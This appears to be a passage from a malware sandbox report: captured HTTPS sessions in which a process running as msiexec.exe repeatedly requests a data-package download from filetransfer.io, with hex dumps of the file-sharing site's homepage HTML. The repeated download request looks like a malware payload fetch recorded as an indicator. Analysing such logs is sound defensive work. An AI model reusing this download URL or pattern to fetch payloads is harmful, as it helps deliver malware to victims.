3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 Data Ascii: d/160.png"><link rel="apple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 Data Ascii: content="/img/favicon/ms/wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 20 74 68 69 73 20 72 65 61 6c 6c 79 20 69 73 20 74 68 65 20 63 6f 72 72 65 63 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 Data Ascii: this really is the correct beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; ME
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 2e 73 68 6f 72 74 63 75 74 73 2e 64 61 79 73 20 3d 20 22 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 Data Ascii: .shortcuts.days = "d"; MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://63
2025-01-10 19:14:51 UTC	1351	IN	Data Raw: 3c 61 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 20 6c 6f 67 6f 2d 65 6e 22 20 74 69 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e Data Ascii: <a class="logo logo-en" title="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 31 36 34 66 0d 0a 0a 09 09 09 3c 2f 75 6c 3e 0a 09 09 3c 2f 6e 61 76 3e 0a 0a 09 09 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 Data Ascii: 164f</ul></nav></div></header><hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 63 6f 6e 2d 75 70 6c 6f 61 64 22 3e 3c 2f 73 70 61 6e 3e 0a 0a 09 09 09 09 09 09 09 53 65 6e 64 20 66 69 6c 65 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 Data Ascii: con-upload"></span>Send files</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size
2025-01-10 19:14:51 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e Data Ascii: </div>... .alert --><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	57974	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:52 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:52 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:52 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:52 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3o7DMzvw8t6rybQr%2BfE7daOGPw%2BR2kzivLKkBXVosUg4ZWzw0r%2BO3TzGP0AIKx%2Fg2AC3N9071WNpxpue6JU7Wph4tqel3NvxfTpO6rhjvtf9hTGnrI8HeMj1QH71t1WtT1U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe182d9b6a58-EWR
2025-01-10 19:14:52 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	57975	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:53 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:53 UTC	958	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 0dFUDnv8fiV9jQOSOtBvAp6zRMXSROEG0BCzULKfjIo6VFZNUF07/HpDr4mLxKrLXV/Ng7Ivyto= x-amz-request-id: 46ND26WBDD10GCGT Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FKD%2F%2BR%2Fc9VD6K3BxYMhh9Fgef0BnmF0UVUKu4V8tEUXoz6zPHgKjfklqBa0w%2FSg92VecnfqgkALwHoW8tL79h6KDmPH1r6qlsd%2F5sWRx%2B%2Fkxz2L0XHJg%2BZ%2Bo%2F24UwKQh0h0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe1c1a877c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1953&rtt_var=741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1467336&cwnd=213&unsent_bytes=0&cid=5bf1f535d37317f6&ts=241&x=0"
2025-01-10 19:14:53 UTC	411	IN	Data Raw: 34 62 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 4bd0<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 0a 3c 68 65 61 64 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d Data Ascii: <head><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta nam
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 Data Ascii: rel="apple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favic
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 6f 6e 2f 6d 73 2f 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 Data Ascii: on/ms/wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type"
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 63 6f 72 72 65 63 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 Data Ascii: correct beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confir
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 Data Ascii: "; MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 65 6e 22 20 74 69 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 Data Ascii: en" title="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user ci
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 Data Ascii: <hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e Data Ascii: /label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes">
2025-01-10 19:14:53 UTC	1369	IN	Data Raw: 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 Data Ascii: rt alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	57976	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:54 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
